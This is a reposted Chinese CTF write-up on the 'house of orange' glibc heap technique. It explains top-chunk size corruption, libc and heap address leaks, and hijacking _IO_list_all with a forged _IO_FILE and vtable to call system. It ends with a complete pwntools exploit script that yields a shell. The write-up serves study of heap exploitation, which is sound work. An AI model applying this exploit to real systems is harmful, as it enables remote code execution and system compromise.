house of orange

Posted Nullan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了house of orange相关的知识,希望对你有一定的参考价值。

house of orange是一道同名题的技术
先看一下保护机制,是保护全开的

一般做堆题先泄露libc的地址,但是这里没有free
这里有个思路
修改top chunk的size值,然后malloc一个比这个大的chunk,然后系统调用sysmalloc分配堆,最后top chunk就会被释放,放入unsorted bin,相当于可以达到free一个堆块的效果了
可以看到我们已经成功泄露出main arena

然后再edit0x10个字节,就可以打印出堆地址


介绍一下_IO_file的逻辑关系
_IO_file_plus结构包含_IO_file和vtable指针

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

这是_IO_FILE结构

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

通过chain字段会把所有的_IO_FILE_plus结构连接起来,然后由一个_IO_FILE_PLUS* _IO_list_all来做表头,通过_IO_list_all就可以遍历所有_IO_FILE结构
然后利用unsorted bin修改_IO_LIST_ALL指针,根据下面的规则

/* remove from unsorted list */  
unsorted_chunks (av)->bk = bck;  
bck->fd = unsorted_chunks (av);  

可以得到malloc_state和unsorted bin里面是这样连接的

此时因为IO_list_all指向了main_arena+0x58所以mian_arena + 0x58会被看成一个IO_FILE_PLUS的结构
IO_file_plus结构有一个_chain字段,指向下一个_IO_FILE_PLUS结构,偏移是IO_FILE_PLUS+0x68,所以_chain的位置在:main_arena+0x58 + 0x68 = main_arena + 0xC0处
因为main_arena不是完全可控的,所以修改chain字段指向下一个构造的_IO_FIle_plus

然后这个chain在_IO_FILE中的偏移是0x68,而我们的main_arena+0x58正好就是small bin存放0x60大小的位置,所以可以将已经在unsorted bin中的chunk_size改为0x60,那么在下一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc将会进入大循环,把unsorted bin中的chunk放回到对应的small bin或large bin中
当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时,就会寻找到smallbin 0x60中的chunk。
只要在这个chunk中伪造好_IO_FILE结构体以及vtable,把_IO_OVERFLOW设置为system函数或者one_gadget就可以getshell
这是我们构造结构时所需要的表

_IO_FILE_plus = {
	'i386':{
		0x0:'_flags',
		0x4:'_IO_read_ptr',
		0x8:'_IO_read_end',
		0xc:'_IO_read_base',
		0x10:'_IO_write_base',
		0x14:'_IO_write_ptr',
		0x18:'_IO_write_end',
		0x1c:'_IO_buf_base',
		0x20:'_IO_buf_end',
		0x24:'_IO_save_base',
		0x28:'_IO_backup_base',
		0x2c:'_IO_save_end',
		0x30:'_markers',
		0x34:'_chain',
		0x38:'_fileno',
		0x3c:'_flags2',
		0x40:'_old_offset',
		0x44:'_cur_column',
		0x46:'_vtable_offset',
		0x47:'_shortbuf',
		0x48:'_lock',
		0x4c:'_offset',
		0x54:'_codecvt',
		0x58:'_wide_data',
		0x5c:'_freeres_list',
		0x60:'_freeres_buf',
		0x64:'__pad5',
		0x68:'_mode',
		0x6c:'_unused2',
		0x94:'vtable'
	},

	'amd64':{
		0x0:'_flags',
		0x8:'_IO_read_ptr',
		0x10:'_IO_read_end',
		0x18:'_IO_read_base',
		0x20:'_IO_write_base',
		0x28:'_IO_write_ptr',
		0x30:'_IO_write_end',
		0x38:'_IO_buf_base',
		0x40:'_IO_buf_end',
		0x48:'_IO_save_base',
		0x50:'_IO_backup_base',
		0x58:'_IO_save_end',
		0x60:'_markers',
		0x68:'_chain',
		0x70:'_fileno',
		0x74:'_flags2',
		0x78:'_old_offset',
		0x80:'_cur_column',
		0x82:'_vtable_offset',
		0x83:'_shortbuf',
		0x88:'_lock',
		0x90:'_offset',
		0x98:'_codecvt',
		0xa0:'_wide_data',
		0xa8:'_freeres_list',
		0xb0:'_freeres_buf',
		0xb8:'__pad5',
		0xc0:'_mode',
		0xc4:'_unused2',
		0xd8:'vtable'
	}
}

这是vtable

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

#coding:utf8
from pwn import *
 
sh = process('./houseoforange')
#sh = remote('111.200.241.244',64177)
libc = ELF('./hoo.so')
#libc = ELF('./libc64-2.19.so')
 
_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']
 
 
def build(size,name):
   sh.sendlineafter('Your choice :','1')
   sh.sendlineafter('Length of name :',str(size))
   sh.sendafter('Name :',name)
   sh.sendlineafter('Price of Orange:','123')
   sh.sendlineafter('Color of Orange:','1')
 
def show():
   sh.sendlineafter('Your choice :','2')
 
def edit(size,name):
   sh.sendlineafter('Your choice :','3')
   sh.sendlineafter('Length of name :',str(size))
   sh.sendafter('Name:',name)
   sh.sendlineafter('Price of Orange:','123')
   sh.sendlineafter('Color of Orange:','1')

build(0x30,'a'*0x30)
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
#overwrite the size of top chunk  
edit(len(payload),payload)
#dump the heap address
build(0x1000,'b')
build(0x400,'c')  
show()  
sh.recvuntil('Name of house : ')  
main_arena_xx = u64(sh.recvuntil('\\n',drop = True).ljust(8,'\\x00'))  
_IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)  
libc_base = _IO_list_all_addr - _IO_list_all_s  
system_addr = libc_base + system_s  
print 'libc_base=',hex(libc_base)  
print 'system_addr=',hex(system_addr)  
print '_IO_list_all_addr=',hex(_IO_list_all_addr) 

#泄露堆地址  
edit(0x10,'c'*0x10)  
show()  
sh.recvuntil('c'*0x10)  
heap_addr = u64(sh.recvuntil('\\n',drop = True).ljust(8,'\\x00'))  
heap_base = heap_addr - 0xE0  
print 'heap_base=',hex(heap_base)  

payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
fake_file = '/bin/sh\\x00' + p64(0x60)#fp and the size of chunk
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)#fd and bk

fake_file += p64(0) + p64(1)#到这就需要过检测,这里的偏移如下图bypass the check of _IO_FILE:_IO_write_base < _IO_write_ptr
#_io_file+0x20:_io_write_base io_file+0x28:_io_write_ptr
fake_file = fake_file.ljust(0xC0,'\\x00')#from _flag to mode's padding:0xc0
fake_file += p64(0)*3#overwirte mode and add padding

fake_file += p64(heap_base + 0x5E8)#指的就是它本身vtable的地址以及vtable的dummy成员变量overwrite vtable pointer

fake_file += p64(0)*2# dummy和dummy2
fake_file += p64(system_addr)#成功覆写overflow
payload += fake_file

edit(len(payload),payload)
gdb.attach(sh)
pause()
sh.recv()
sh.sendline('1')
 
sh.interactive()

以上是关于house of orange的主要内容,如果未能解决你的问题,请参考以下文章

8.house_of_lore

house of grey

溢出利用技巧house of spirit friendly stack overflow

House of XXX的核心原理

House of Force

House of force